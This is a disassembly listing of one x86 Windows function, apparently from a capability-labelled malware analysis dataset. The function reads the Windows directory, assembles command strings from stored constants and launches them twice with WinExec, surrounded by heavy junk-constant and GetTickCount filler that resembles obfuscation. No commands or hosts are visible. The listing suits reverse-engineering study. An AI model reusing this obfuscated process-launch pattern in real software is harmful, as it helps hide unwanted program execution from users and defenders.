Function at 0x46a394
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff28
push ebx
push esi
xor eax, eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], eax
mov dword [ebp - 4], eax
mov ebx, 0x473e10
mov esi, 0x473e14
xor eax, eax
push ebp
push 0x46a8c9
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0x473e04], eax
call sub.kernel32.dll_GetTickCount_1
call sub.kernel32.dll_GetTickCount_1
add eax, 0x3dc749
mov dword [esi], eax
mov dword [ebx], 0x15f45
mov dword [ebx], 0x128a38
mov dword [esi], 0xa81b1
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x2d3a36
mov dword [ebx], eax
mov dword [esi], 0xc09cd
mov dword [ebx], 0x2b8c3a
mov dword [ebx], 0x12268e
mov dword [esi], 0x237fce
mov dword [esi], 0x2be7d4
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x680c
mov dword [ebx], eax
mov dword [ebx], 0x25f3ee
mov dword [ebx], 0x6d7bf
mov eax, 3
call fcn.00402da8
add eax, 4
mov dword [0x473e24], eax
push 0xc9
lea eax, [ebp - 0xcd]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov dword [esi], 0x6cdff
mov dword [ebx], 0x21673a
mov dword [ebx], 0x3dd18b
mov dword [ebx], 0x83b1f
mov dword [esi], 0x31763c
mov dword [ebx], 0x1f8cfc
mov eax, 0x403dec
call fcn.00402da8
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
lea eax, [ebp - 4]
mov dl, byte [ebp - 0xcd]
call fcn.00404344
call sub.kernel32.dll_GetTickCount_1
mov eax, 0x19f60829
call fcn.00402da8
add eax, 0x192a
mov dword [0x473e24], eax
push dword [ebp - 4]
push 0x46a8e0
push dword [0x4726d4]
push 0x46a8fc
lea eax, [ebp - 4]
mov edx, 4
call fcn.004044dc
mov eax, 0x5cae4
call fcn.00402da8
mov dword [ebx], eax
mov eax, 0xefab2
call fcn.00402da8
mov dword [ebx], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0xac6a2
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x411b8
mov dword [esi], eax
mov dword [ebx], 0x112b9a
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x18d500
mov dword [ebx], eax
mov dword [esi], 0xb9988
mov dword [esi], 0x2be801
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x2cdad4
mov dword [ebx], eax
mov dword [ebx], 0x1e34d5
mov dword [ebx], 0x2b386c
mov eax, 0x1640ed
call fcn.00402da8
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x36a991
mov dword [esi], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x19c138
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x67ca1
mov dword [esi], eax
mov eax, 0x3972a1
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0x1a45d9
mov dword [ebx], 0x1fb43e
call sub.kernel32.dll_GetTickCount_1
add eax, 0xca36e
mov dword [esi], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x17143f
mov dword [esi], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x233db5
mov dword [esi], eax
mov eax, dword [ebp - 4]
call fcn.00408804
test al, al
je 0x46a8a3
call sub.kernel32.dll_GetTickCount_1
mov dword [ebx], 0x19f961
mov dword [ebx], 0x321a3f
mov dword [esi], 0x2a0742
mov eax, 0x39e6a7
call fcn.00402da8
mov dword [ebx], eax
mov dword [0x473c18], 0x1ded1e3
mov dword [esi], 0x3510f2
mov dword [ebx], 0x190d07
mov eax, dword [esi]
call fcn.00402da8
add eax, 0xa4de8
mov dword [ebx], eax
mov eax, dword [ebp - 4]
call fcn.00469f38
call sub.kernel32.dll_GetTickCount_1
mov eax, 0xea
call fcn.00402da8
add eax, 0x14953bf6
mov dword [0x473e24], eax
cmp dword [0x473e04], 0
jle 0x46a8a3
call sub.kernel32.dll_GetTickCount_1
mov dword [ebx], 0xc8405
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x29abf0
mov dword [ebx], eax
mov dword [ebx], 0x342df6
mov dword [ebx], 0x1753c3
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x168fba
mov dword [ebx], eax
mov eax, 0x2baf74
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0x393b63
call sub.kernel32.dll_GetTickCount_1
add eax, 0x372c9d
mov dword [esi], eax
mov eax, dword [ebp - 4]
call fcn.0040441c
mov edx, eax
lea eax, [ebp - 4]
mov ecx, 1
call fcn.004046bc
call sub.kernel32.dll_GetTickCount_1
push 0
push dword [0x4726d0]
push 0x46a908
push dword [0x4726d4]
push 0x46a920
lea eax, [ebp - 0xd4]
mov edx, 4
call fcn.004044dc
mov eax, dword [ebp - 0xd4]
call fcn.0040461c
push eax
call sub.kernel32.dll_WinExec
call sub.kernel32.dll_GetTickCount_1
mov dword [ebx], 0x22d250
mov eax, 0x32df1a
call fcn.00402da8
mov dword [ebx], eax
mov eax, 0x2e283
call fcn.00402da8
mov dword [ebx], eax
mov dword [esi], 0x10816b
mov dword [esi], 0x32c6ee
mov dword [esi], 0x4473a
mov dword [ebx], 0x293ddb
mov dword [ebx], 0x2ddeab
mov dword [ebx], 0x1a2be2
mov dword [ebx], 0x2963b0
mov dword [ebx], 0x1917b3
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x10b9b5
mov dword [ebx], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x18772c
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x23e70
mov dword [esi], eax
mov dword [ebx], 0x1340b9
mov dword [ebx], 0x2d44ed
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x32835f
mov dword [ebx], eax
mov dword [ebx], 0x1ba954
mov eax, 0x2aee0e
call fcn.00402da8
mov dword [ebx], eax
mov dword [esi], 0x3f8669
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x2dc91f
mov dword [ebx], eax
mov dword [esi], 0x372e4b
mov dword [esi], 0x23d47c
call sub.kernel32.dll_GetTickCount_1
add eax, 0x249d79
mov dword [esi], eax
mov eax, 0x34c0f0
call fcn.00402da8
mov dword [ebx], eax
mov eax, 0x2b2d65
call fcn.00402da8
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x60a6d
mov dword [esi], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x1e6eff
mov dword [esi], eax
mov eax, 0x1c8653
call fcn.00402da8
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x1bb708
mov dword [esi], eax
mov dword [ebx], 0x9631a
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x11aa2d
mov dword [ebx], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x1f8f85
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x255f5b
mov dword [esi], eax
mov dword [ebx], 0xdc407
call sub.kernel32.dll_GetTickCount_1
add eax, 0x24f1b7
mov dword [esi], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x2370ee
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x24a6a5
mov dword [esi], eax
mov eax, 0x159
call fcn.00402da8
add eax, 0x34b659
mov dword [0x473e24], eax
push 0
push dword [0x4726d0]
push 0x46a908
push dword [0x4726d4]
push 0x46a934
lea eax, [ebp - 0xd8]
mov edx, 4
call fcn.004044dc
mov eax, dword [ebp - 0xd8]
call fcn.0040461c
push eax
call sub.kernel32.dll_WinExec
call sub.kernel32.dll_GetTickCount_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a8d0
lea eax, [ebp - 0xd8]
mov edx, 2
call fcn.00404180
lea eax, [ebp - 4]
call fcn.0040415c
ret